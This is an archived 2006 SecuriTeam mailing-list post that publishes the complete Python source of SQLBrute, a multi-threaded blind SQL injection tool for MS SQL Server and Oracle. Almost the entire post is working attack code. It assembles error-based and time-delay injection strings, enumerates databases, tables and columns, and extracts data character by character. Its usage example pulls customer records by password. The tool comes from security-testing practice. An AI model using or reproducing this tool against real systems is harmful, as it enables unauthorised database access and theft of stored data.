The OpenNET Project
 
Search (keywords):  SOFT ARTICLES TIPS & TRICKS SECURITY
LINKS NEWS MAN DOCUMENTATION


[TOOL] SQLBrute - Multi Threaded Blind SQL Injection Bruteforcer


<< Previous INDEX Search src / Print Next >>
From: SecuriTeam <support@securiteam.com.>
To: [email protected]
Date: 27 Mar 2006 18:09:21 +0200
Subject: [TOOL] SQLBrute - Multi Threaded Blind SQL Injection Bruteforcer
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-Id: <20060327163454.E915D57D9@mail.tyumen.ru.>
X-Virus-Scanned: antivirus-gw at tyumen.ru

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -




  SQLBrute - Multi Threaded Blind SQL Injection Bruteforcer
------------------------------------------------------------------------


SUMMARY



DETAILS

Tool source:
#!/bin/sh
''':'
exec python -O -u "$0" ${1+"$@"}
' '''

# SQLBrute - multi threaded blind SQL injection bruteforcer
# By Justin Clarke, justin at justinclarke dot com
#
# Algorithm originally from the original by Kerry Rollins
#
# This version does regex based (error/no error) bruteforcing and waitfor 
delay testing
#
# There is a page documenting how to use this tool at:
# http://www.justinclarke.com/archives/2006/03/sqlbrute.html
Version = "032306"

# todo
# - tidy up the query assembly methods
# - implement < and > matching
# - rewrite connection methods to use pycurl and get more efficient 
connection handling
# - implement database detection
# - multiple columns?

import threading
import Queue
import sys
import getopt
import string
import urllib
import cgi
import time
import re

# Set some globals

# dictionary for tracking threads and pycurl handles
handles = {}
handleLock = threading.Lock()
sslSupport = True

# use pycurl if installed
try:
  import pycurl2 # currently disabled
  sendlayer = "pycurl"
except ImportError:
  import urllib2
  sendlayer = "urllib2"

# see if SSL support is compiled in for urllib2
if sendlayer == "urllib2":
  try:
    import _ssl
  except ImportError:
    print "SSL support not installed - https will not be available"
    sslSupport = False

# consume some signals for pycurl
try:
  import signal
  from signal import SIGPIPE, SIG_IGN
  signal.signal(signal.SIGPIPE, signal.SIG_IGN)
except ImportError:
  pass

#
# class to manage the threading. No actual stuff is done in here - we pass 
function names and args
#
# Adapted from Python in a Nutshell (excellent book)
#
class Worker(threading.Thread): # inherits the Thread class
  requestID = 0 # each thread has a request ID so we can match responses
  
  # constructor - takes two queues as parameters (overrides threading 
constructor)
  def __init__(self, requestsQueue, resultsQueue, threadNumber, **kwds):
    threading.Thread.__init__(self, **kwds)
    self.setDaemon(1) # run in background
    self.workRequestQueue = requestsQueue
    self.resultQueue = resultsQueue
    self.setName(threadNumber)
    if sendlayer == "pycurl":
      handleLock.acquire() # don't want to update the dictionary 
simultaneously from multiple threads
      handles[threadNumber] = pycurl.Curl() # libcurl handle for this 
thread
      handleLock.release()
    self.start() # start the thread

  # call the function here - pass in the function and parameters
  def performWork(self, callable, *args, **kwds):
    Worker.requestID += 1
    self.workRequestQueue.put((Worker.requestID, callable, args, kwds))
    return Worker.requestID

  def run(self): # override run
    while 1:
      requestID, callable, args, kwds = self.workRequestQueue.get()
      self.resultQueue.put((requestID, 
callable(*args+(int(self.getName()),), **kwds)))

class sqlbrute:
  # User variables - change if you want
  num = 10 # default number of worker threads
  targeturl = ""
  cookie = ""
  verb = ""
  verbose = 0
  postdata = ""
  table = ""
  cols = ""
  headers = [["User-Agent","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 
5.0)"]]
  wherecol = ""
  whereval = ""
  dbenum = False # default to enumerating tables from current database
  enumtype = "" # by default, tables will be enumerated from current 
database
  dbtype = "sqlserver"
  errorregex = ""
  targeturl = ""
  timetrack = time.time()
  timeout = 60 # timeout to wait for responses before exiting tool
  database = "" # database to use (instead of default)
  andor = " OR " # default to "or" mode. either "or" or "and"
              # specifies this is going to be select * from foo where 1=2 
_and_ <exploit string>

  method = "error" # method of testing - error or time based

  outputfile = ""
  
  if sys.platform == "win32": # timing is unreliable in python.org win32 
version. I'd use linux for now
    waitfor = 10
  else:
    waitfor = 7

  if sys.platform == "win32":
    waitres = 5 # time.time() is hideously unreliable in windows
  else:
    waitres = 5

  tablesource = "sysobjects" # name of source to initially query
  namecol = "name" # column used for the database name
  substrfn = "SUBSTRING" # substring for SQL, substr for oracle

  reqcounter = 0 # number of test requests received
  testcounter = 0 # counter to track that requests have passed and failed 
appropriately
  testvar = 0
  
  requestsQueue = Queue.Queue()
  resultsQueue = Queue.Queue()

  # add any additional characters you need matched to this list
  matches = 
["e","t","a","o","i","n","s","r","h","l","d","u","c","f","m","w","y","g","p","b","v", "k","x","j","q","z","0","1","2","3","4","5","6","7","8","9","-",".","[_]","+","#","@","$"]

  def usage(self):
    print """
 ___ _____ __ ____ ____ __ __ ____ ____
/ __)( _ )( ) ( _ \( _ \( )( )(_ _)( ___)
\__ \ )(_)( )(__ ) _ < ) / )(__)( )( )__)
(___/(___/\\\\(____)(____/(_)\_)(______) (__) (____)
"""
    print "v.%s" % Version
    print """
  Usage: %s options url
      [--help|-h] - this help
      [--verbose|-v] - verbose mode
      [--server|-d oracle|sqlserver] - type of database server (default MS 
SQL Server)
      [--error|-e regex] - regex to recognize error page (error testing 
only)
      [--threads|-s number] - number of threads (default 10)
      [--cookie|-k string] - cookies needed
      [--time|-n] - force time delay (waitfor) testing
      [--data|-p string] - POST data
      [--database|-f database] - database to enumerate data from (SQL 
Server)
      [--table|-t table] - table to extract data from
      [--column|-c column] - column to extract data from
      [--where|-w column=data] - restrict data returned to rows where 
column "column" matches "data"
      [--header|-x header::val] - header to add to the request (i.e. 
Referer::http://foobar/blah.asp)
      [--output|-o file] - file to send output to
      
Note: exploit will go on the end of the query or post data. This must be 
correctly formatted for a SQL subquery to be appended.
    """ % sys.argv[0]

    print '''e.g. %s --data "searchtype=county&county=1'" --error "NO 
RESULTS" --database webapp --table customer --column custnum --where 
password=password http://webapp/page.asp''' % sys.argv[0]

  # buyer beware if you change anything below - execution starts here
  def main(self, argv=None):
    if argv is None:
      argv = sys.argv

    try:
      try:
        opts, args = getopt.getopt(argv[1:], "hvs:k:f:np:x:d:t:c:w:e:o:", 
\
["help","verbose","server=","header=","error=","threads=","cookie=", 
"database=","time","data=","table=","column=","where=","output="])
        if len(args) <> 1: # 1 arg is the URL
          print "Args <> 1"
          raise getopt.error
      except:
        raise getopt.error

      self.targeturl = args
      if sslSupport == False and re.search(r'https://', self.targeturl):
        print "You don't seem to have SSL support installed, so no https 
URLs for you"
        return 1

      for o,a in opts:
        if o in ("-v", "--verbose"):
          self.verbose += 1
        if o in ("-x", "--header"):
          self.headers += [a.split("::",1)]
        if o in ("-k", "--cookie"):
          self.cookie = a
        if o in ("-h", "--help"):
          self.usage()
          return 1
        if o in ("-p", "--data"):
          self.postdata = a
          self.verb = "POST"
        if o in ("-n", "--time"):
          self.method = "time"
        if o in ("-s", "--threads"):
          self.num = int(a)
          if self.num < 1:
            print "Threads must be at least 1"
            return 1
        if o in ("-d", "--server"):
          if a == "oracle": self.dbtype = a
          if a == "sqlserver": self.dbtype = a
        if o in ("-t", "--table"):
          self.table = a
        if o in ("-c","--column"):
          self.cols = a
        if o in ("-w", "--where"):
          temp = a.split("=",1)
          self.wherecol = temp[0]
          self.whereval = temp[1]
        if o in ("-e", "--error"):
          self.errorregex = a
          self.method = "error"
        if o in ("-f", "--database"):
          self.database = a
        if o in ("-o", "--output"):
          self.outputfile = a

      if self.cols<>"":
        if self.table=="":
          print "If requesting column data, you must specify table"
          return 1

      if not self.errorregex:
        self.errorregex = r"(error|could not process)"

      if not self.verb:
        self.verb = "GET"

      if (self.verb == "POST" and not self.postdata):
        print "Specify some POST data"
        return 1
      
      if self.enumtype=="":
        if self.table=="" and self.cols=="":
          if self.dbtype == "sqlserver" and not self.database:
            self.enumtype="database"
          else:
            self.enumtype="table"
        else:
          if self.table<>"" and self.cols=="":
            self.enumtype="column"
          else:
            self.enumtype="data"

      if self.dbtype=="oracle":
        self.substrfn = "SUBSTR"
        self.tablesource = "USER_TABLES"
        self.namecol = "TABLE_NAME"

      if self.verbose:
        print "Database type: %s" % self.dbtype
        print "Table: %s" % self.table
        print "Columns: ", self.cols
        print "Enumeration mode: %s" % self.enumtype
        print "Threads: %d" % self.num

      if self.database and self.dbtype=="oracle":
        print "Database specification is not valid for Oracle"
        return 1

      if self.database != "": # add .. for between database and table
        self.database += ".."

    except:
      print "Incorrect options usage"
      self.usage()
      return 1

    # create worker classes to assign work to later
    for i in range(self.num):
      self.worker = Worker(self.requestsQueue, self.resultsQueue, i)

    # keep track of what we send off to the queues
    self.workRequests = {}
# if sendlayer=="urllib2":
# print """
#***pycurl not found***
#Defaulting to Python urllib2
#Consider installing pycurl from http://pycurl.sourceforge.net -- it's 
faster
#"""
      
    if self.verbose:
      print "Testing the application to ensure your options work\n"

    if self.method == "error":
      self.testvar = self.testexploiterror()
    else:
      self.testvar = self.testexploittime()

    if self.testvar==1:
      print """
  To troubleshoot:


  1) try using -v to see that the queries are correctly formatted
  2) try using -vv to get the responses printed to the screen
  3) fix your broken url/post data
  4) check the error value you are using
  5) you've specified the correct database type haven't you?"""
      return(1)
    
    print "This program will currently exit " + str(self.timeout) + " 
seconds after the last response comes in."

    for i in self.matches:
      if self.method == "error":
        self.gentesterror(i)
      else:
        self.gentesttime(i)

    self.showResults()


  def postReformat(self, postdata):
    return urllib.urlencode(cgi.parse_qsl(postdata))

  def querystringReformat(self, qsdata):
    temp = qsdata.split("?")
    if len(temp) == 2:
      return temp[0] + "?" + urllib.urlencode(cgi.parse_qsl(temp[1]))
    else:
      return qsdata
  
  def doRequest(self, expressionString, exploitdata, match, type, 
threadName):
    while True:
      if sendlayer == "pycurl":
        handleLock.acquire() # don't want to update the dictionary 
simultaneously from multiple threads
        thisHandle = handles[threadName] # libcurl handle for this thread
        handleLock.release()
        resp = open(str(threadName), "wb")
      
      if self.verb == "GET":
        if sendlayer == "urllib2":
          req = 
urllib2.Request(self.querystringReformat(expressionString))
        else:
          thisHandle.setopt(pycurl.URL, 
self.querystringReformat(expressionString))
      else:
        if sendlayer == "urllib2":
          req = 
urllib2.Request(self.querystringReformat(expressionString),
                     self.postReformat(exploitdata))
        else:
          thisHandle.setopt(pycurl.URL, expressionString)
          thisHandle.setopt(pycurl.POSTFIELDS, 
self.postReformat(exploitdata))
          
      if self.cookie<>"":
        if sendlayer == "urllib2":
          req.add_header("Cookie",self.cookie)
        else:
          thisHandle.setopt(pycurl.HTTPHEADER, self.cookie) # reformat 
cookie?
      if self.headers<>[[]]:
        for i in self.headers:
          if sendlayer == "urllib2":
            req.add_header(i[0],i[1])
          else:
            thisHandle.setopt(pycurl.HTTPHEADER, i) # reformat headers?
      try:
        starttime = time.time() # get time at start of request
        if sendlayer == "urllib2":
          resp = urllib2.urlopen(req)
        else:
          thisHandle.setopt(pycurl.WRITEDATA, resp)
          thisHandle.setopt(pycurl.NOSIGNAL, 1)
          thisHandle.setopt(pycurl.CONNECTTIMEOUT, 30)
          thisHandle.setopt(pycurl.TIMEOUT, 300)
          thisHandle.perform()
          
      except urllib2.HTTPError,err: # catch an HTTP 500 error or similar 
here
        return err.read(), match, type, starttime, time.time()
      except:
        import traceback
        traceback.print_exc(file=sys.stderr)
        sys.stderr.flush()
        
        print "Unexpected error on: %s %s - Retrying in 5 seconds" % 
(expressionString,exploitdata)
        time.sleep(5)
      else:
        if sendlayer == "urllib2":
          return resp.read(), match, type, starttime, time.time()
        else:
          #temp = resp.read()
          #resp.close()
          return resp.read(), match, type, starttime, time.time()


  def testexploiterror(self):
    if self.dbtype=="sqlserver":
      positivestring = self.andor + "exists (select * from 
master..sysdatabases)--"
      negativestring = self.andor + "not exists (select * from 
master..sysdatabases)--"

    if self.dbtype=="oracle":
      positivestring = self.andor + "exists (select * from USER_TABLES)--"
      negativestring = self.andor + "not exists (select * from 
USER_TABLES)--"

    self.genreq(positivestring, "", False)
    self.genreq(negativestring, "", False)

    while self.reqcounter != 2:
      try:
        id, results = self.resultsQueue.get_nowait()
      except Queue.Empty:
        if (time.time() - self.timetrack) > self.timeout: # if its been > 
(timeout) seconds since last successful resp
          print "Timed out accessing application\n"
          return(1)
        else:
          continue

      self.timetrack = time.time() # update record of last successful 
response
      self.reqcounter += 1 # update number of requests received
      
      if self.verbose>1:
        print 'Result %d: -> %s' % (id, 
urllib.unquote(self.workRequests[id]))
        print 'Response: %s' % results[0]
        print 'Results: %s, %s' % (results[1], results[2])

      if not re.search(self.errorregex,results[0]) : # no error returned
        self.testcounter += 1 # increment counter 1 if no error returned
        if self.verbose>1:
          print "No Error"
      else: # error returned
        self.testcounter += 2 # increment counter 2 is error returned
        if self.verbose>1:
          print "Error"

    if self.testcounter == 3: # one failed, one passed request (success!)
      if self.verbose:
        print "Exploit and parameters appear to work\n"
        return(0)
    else: # failed :-(
      if self.andor == " OR ": # if we were using or, try changing to AND
        if self.verbose:
          print "OR doesn't appear to work - trying AND"
        self.andor = " AND "
        self.reqcounter = 0
        self.testcounter = 0
        return (self.testexploiterror())
      else:
        print "User input exploit and parameters do not appear to work for 
error testing - trying time testing\n"
        return(self.testexploittime())


  def testexploittime(self):
    teststring = "%3Bwaitfor delay '0:0:" + str(self.waitfor) + "'--"

    self.genreq(teststring, "", False)

    waiting = True
    
    while waiting:
      try:
        id, results = self.resultsQueue.get_nowait()
      except Queue.Empty:
        continue

      waiting = False
      if self.verbose>1:
        print 'Result %d: -> %s' % (id, 
urllib.unquote(self.workRequests[id]))
        print 'Response: %s' % results[0]
        print 'Start time: %s' % results[3]
        print 'Finish time: %s' % results[4]
    
      if results[4]-results[3] > (self.waitfor-self.waitres): # time 
testing worked
        self.method = "time"
        elapsed = results[4] - results[3]
        if elapsed > (self.waitfor * 2): # slow app
          self.timeout *= (elapsed/self.waitfor)
        if self.verbose:
          print "Exploit and parameters appear to work for time testing\n"
        return(0)
      else: # failed :-(
        print "User input exploit and parameters do not appear to work for 
time testing\n"
        return(1)
      
  # generate checks - these get multithreaded on the queue
  def genreq(self, request, match, type):
    if self.verb == "GET": # standard GET request- exploit querystring
      expressionString = self.targeturl[0] + request
      exploitdata=""
    elif (self.verb == "GET" and self.postdata): # post request, but 
exploit querystring
      expressionString = self.targeturl[0] + request
      exploitdata = self.postdata
    else:
      expressionString = self.targeturl[0] # standard post request, 
exploit post data
      exploitdata = self.postdata + request

    id = self.worker.performWork(self.doRequest, expressionString, 
exploitdata, match, type)
    if self.verb == "GET":
      self.workRequests[id] = expressionString
    else:
      self.workRequests[id] = exploitdata

  # handle underscores
  def unquote(self, s):
    return re.sub(r'\[\_\]','_',s)

  # generate the testing string as a series of CHAR()+CHAR or 
CONCAT(CHR(),CHR()) strings
  def genchars(self, s):
    t = self.unquote(s)
    foo = len(t)

    if self.dbtype=="oracle": # use concat statements for oracle
      if foo==1: # one character - no concat
        bar = "CHR("+str(ord(t[0].upper()))+")"
      else: # generate one concat statement
        if foo==2:
          bar = 
"CONCAT(CHR("+str(ord(t[0].upper()))+"),CHR("+str(ord(t[1].upper()))+"))"
        else: # generate mutiple statements
          bar = ""
          for i in range((foo-1)):
            bar += "CONCAT(CHR("+str(ord(t[i].upper()))+"),"
          bar += "CHR("+str(ord(t[foo-1].upper()))+")"
          for i in range(foo-1):
            bar += ")"
    else: # sql server, so use + signs for concatentation
      if foo==1: # one char
        bar = "CHAR("+str(ord(t[0].upper()))+")"
      else: # generate CHAR()+CHAR() statements
        bar = ""
        for i in range((foo-1)):
          bar += "CHAR("+str(ord(t[i].upper()))+")%2B"
        bar += "CHAR("+str(ord(t[foo-1].upper()))+")"
    return bar

  # generate the guess cases - error
  def gentesterror(self, s):
    foo = ""
    if self.dbtype == "sqlserver":
      foo = "xtype='u' and "

    # SQL injection constructors - these assume we can just add these onto 
the end of the URL or post data

    if self.enumtype=="database": # sql server only
      pretable = self.andor + "exists (select * from master..sysdatabases 
where " + self.substrfn + "(UPPER(" + self.namecol + "),1,"
      midtable = ")="
      posttable = ")--"

    if self.enumtype=="table":
      pretable = self.andor + "exists (select * from " + self.database + 
self.tablesource + " where " + foo + self.substrfn + "(UPPER(" + 
self.namecol + "),1,"
      midtable = ")="
      posttable = ")--"

    if self.enumtype=="column":
      if self.dbtype=="sqlserver":
        pretable = self.andor + "exists (select * from " + self.database + 
"syscolumns where id = object_id('" + self.database + self.table + "') and 
" + self.substrfn + "(UPPER(" + self.namecol + "),1,"
        midtable = ")="
        posttable = ")--"
      else:
        pretable = self.andor + "exists (select * from ALL_TAB_COLUMNS 
where TABLE_NAME=UPPER('" + self.table + "') and " + self.substrfn + 
"(UPPER(COLUMN_NAME),1,"
        midtable = ")="
        posttable = ")--"

    if self.enumtype=="data":
      if self.dbtype=="sqlserver":
        if self.wherecol == "": # no where clause supplied
          pretable = self.andor + "exists (select * from " + self.database 
+ self.table + " where " + self.substrfn + "(UPPER(convert(varchar," + 
self.cols + ",2)),1,"
        else: # where clause supplied
          pretable = self.andor + "exists (select * from " + self.database 
+ self.table + " where " + self.wherecol + "='" + self.whereval + "' and " 
+ self.substrfn + "(UPPER(convert(varchar," + self.cols + ",2)),1,"
        midtable = ")="
        posttable = ")--"
      else: # oracle
        if self.wherecol == "": # no where clause supplied
          pretable = self.andor + "exists (select * from " + self.table + 
" where " + self.substrfn + "(UPPER(TO_CHAR(" + self.cols + ")),1,"
        else: # where clause supplied
          pretable = self.andor + "exists (select * from " + self.table + 
" where " + self.wherecol + "='" + self.whereval + "' and " + 
self.substrfn + "(UPPER(TO_CHAR(" + self.cols + ")),1,"
        midtable = ")="
        posttable = ")--"

    teststring = self.genchars(s)

    self.genreq(pretable + str(len(self.unquote(s))) + midtable + 
teststring + posttable, s, True)


  # generate test cases - time
  def gentesttime(self, s):
    prewaitforlike = "%3Bif EXISTS (select name from master..sysdatabases 
where name like '"
    postwaitfor = "%') waitfor delay '0:0:" + str(self.waitfor) + "'--"

    predblike = "%3Bif EXISTS (select name from " + self.database + 
"sysobjects where xtype = 'u' and name like '"

    pretablike = "%3Bif EXISTS (select name from " + self.database + 
"syscolumns where id in (select id from " + self.database + "sysobjects 
where name = '" + self.table + "') and name like '"

    if self.whereval=="": # enumerating values in a specific column
      predatalike = "%3Bif EXISTS (select * from " + self.database + 
self.table + " where CONVERT(varchar," + self.cols + ",2) like '"
    else:
      prejoinlike = "%3Bif EXISTS (select * from " + self.database + 
self.table + " where CONVERT(varchar," + self.wherecol + ",2) = '" + 
self.whereval + "' AND CONVERT(varchar," + self.cols + ",2) like '"

    if self.enumtype=="database":
      self.genreq(prewaitforlike + s + postwaitfor, s, True)
    if self.enumtype=="table":
      self.genreq(predblike + s + postwaitfor, s, True)
    if self.enumtype=="column":
      self.genreq(pretablike + s + postwaitfor, s, True)
    if self.enumtype=="data":
      if self.whereval=="":
        self.genreq(predatalike + s + postwaitfor,s,True)
      else:
        self.genreq(prejoinlike + s + postwaitfor,s,True)


  def checkmatchtime(self, s):
    prewaitforequals = "%3Bif EXISTS (select name from 
master..sysdatabases where name = '"
    postwaitforequals = "') waitfor delay '0:0:" + str(self.waitfor) + 
"'--"

    predbequals = "%3Bif EXISTS (select name from " + self.database + 
"sysobjects where xtype = 'u' and name = '"

    pretabequals = "%3Bif EXISTS (select name from " + self.database + 
"syscolumns where id in (select id from " + self.database + "sysobjects 
where name = '" + self.table + "') and name = '"

    if self.whereval=="": # enumerating values in a specific column
      predataequals = "%3Bif EXISTS (select * from " + self.database + 
self.table + " where CONVERT(varchar," + self.cols + ",2) = '"
    else:
      prejoinequals = "%3Bif EXISTS (select * from " + self.database + 
self.table + " where CONVERT(varchar," + self.wherecol + ",2) = '" + 
self.whereval + "' AND CONVERT(varchar, " + self.cols + ",2) = '"

    if self.enumtype=="database":
      self.genreq(prewaitforequals + self.unquote(s) + postwaitforequals, 
s, False)
    if self.enumtype=="table":
      self.genreq(predbequals + self.unquote(s) + postwaitforequals, s, 
False)
    if self.enumtype=="column":
      self.genreq(pretabequals + self.unquote(s) + postwaitforequals, s, 
False)
    if self.enumtype=="data":
      if self.whereval=="":
        self.genreq(predataequals + self.unquote(s) + postwaitforequals, 
s, False)
      else:
        self.genreq(prejoinequals + self.unquote(s) + postwaitforequals, 
s, False)


  # generate check for whether we have an exact match (error testing)
  def checkmatcherror(self, s):
    foo = ""
    if self.dbtype == "sqlserver":
      foo = "xtype='u' and "

    # SQL injection constructors - these assume we can just add these onto 
the end of the URL or post data
    if self.enumtype=="database": # only valid for sql server
      pretable = self.andor + "exists (select * from master..sysdatabases 
where UPPER(" + self.namecol + ")="
      posttable = ")--"

    if self.enumtype=="table":
      pretable = self.andor + "exists (select * from " + self.database + 
self.tablesource + " where UPPER(" + self.namecol +")="
      posttable = " )--"

    if self.enumtype=="column":
      if self.dbtype=="sqlserver":
        pretable = self.andor + "exists (select * from " + self.database + 
"syscolumns where id = object_id(" + self.genchars(self.database + 
self.table) + ") and UPPER(" + self.namecol + ")="
        posttable = ")--"
      else:
        pretable = self.andor + "exists (select * from ALL_TAB_COLUMNS 
where TABLE_NAME=UPPER(" + self.genchars(self.table) + ") and 
UPPER(COLUMN_NAME)="
        posttable = ")--"

    if self.enumtype=="data":
      if self.dbtype=="sqlserver":
        if self.wherecol == "": # no where clause supplied
          pretable = self.andor + "exists (select * from " + self.database 
+ self.table + " where UPPER(convert(varchar," + self.cols + ",2))="
        else: # where clause supplied
          pretable = self.andor + "exists (select * from " + self.database 
+ self.table + " where " + self.wherecol + "=" + 
self.genchars(self.whereval) + " and UPPER(convert(varchar," + self.cols + 
",2))="
        posttable = ")--"
      else: # oracle
        if self.wherecol == "": # no where clause supplied
          pretable = self.andor + "exists (select * from " + self.table + 
" where UPPER(TO_CHAR(" + self.cols + "))="
        else: # where clause supplied
          pretable = self.andor + "exists (select * from " + self.table + 
" where " + self.wherecol + "=" + self.genchars(self.whereval) + " and 
UPPER(TO_CHAR(" + self.cols + "))="
        midtable = ")="
        posttable = ")--"

    teststring = self.genchars(s)

    self.genreq(pretable + teststring + posttable, s, False)

  # used to check results and exact checks
  def showResults(self):
    self.timetrack = time.time()
    while True:
      try:
        id, results = self.resultsQueue.get_nowait()
      except Queue.Empty:
        if (time.time() - self.timetrack) > self.timeout: # if its been > 
(timeout) seconds since last successful resp
          break
        else:
          continue

      self.timetrack = time.time() # update record of last successful 
response

      if self.verbose>1:
        print 'Result %d: -> %s' % (id, 
urllib.unquote(self.workRequests[id]))
        print 'Results: %s, %s' % (results[1], results[2])
        print 'Start time: %s' % results[3]
        print 'Finish time: %s' % results[4]

      if self.verbose>2:
        print 'Response: %s' % results[0]
                
      if self.method == "error": # if using error testing
        if not re.search(self.errorregex,results[0]) : # no error returned
          if self.verbose > 1:
            print 'No error'
          if results[2]: # if a guess match test
            if self.verbose:
              print "%s" % self.unquote(results[1])
            self.checkmatcherror(results[1])
          else:
            print "Found: %s" % self.unquote(results[1])
            for i in self.matches:
              self.gentesterror(results[1]+i)
            if self.outputfile != "":
              outputhandle = file(self.outputfile, 'a', 0)
              outputhandle.write(self.unquote(results[1])+"\r\n")
              outputhandle.close()
        else: # no match
          if self.verbose > 1:
            print 'Error detected'

          if not results[2]: # if was an exact match test (and failed) 
generate more
            for i in self.matches:
              self.gentesterror(results[1]+i)
      else: # if time based testing
        if results[4]-results[3] > (self.waitfor-self.waitres): # we had a 
match
          if results[2]: # guess match test
            if self.verbose:
              print "%s" % self.unquote(results[1])
            self.checkmatchtime(results[1])
          else: # exact match test
            print "Found: %s" % self.unquote(results[1])
            for i in self.matches:
              self.gentesttime(results[1]+i)
            if self.outputfile != "":
              outputhandle = file(self.outputfile, 'a', 0)
              outputhandle.write(self.unquote(results[1])+"\r\n")
              outputhandle.close()
        else: # no match
          if not results[2]: # if it was an exact match condition (and 
failed) - iterate further
            for i in self.matches:
              self.gentesttime(results[1]+i)


# main called here

if __name__ == "__main__":
  instance = sqlbrute()
  sys.exit(instance.main())


ADDITIONAL INFORMATION

The information has been provided by  <mailto:justin@justinclarke.com.> 
Justin Clarke.
The original article can be found at:  
<http://www.justinclarke.com/archives/2006/03/sqlbrute.html>; 
http://www.justinclarke.com/archives/2006/03/sqlbrute.html




This bulletin is sent to members of the SecuriTeam mailing list. To unsubscribe from the list, send mail with an empty subject line and body to: [email protected] In order to subscribe to the mailing list, simply forward this email to: [email protected]

DISCLAIMER: The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

<< Previous INDEX Search src / Print Next >>



Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2025 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру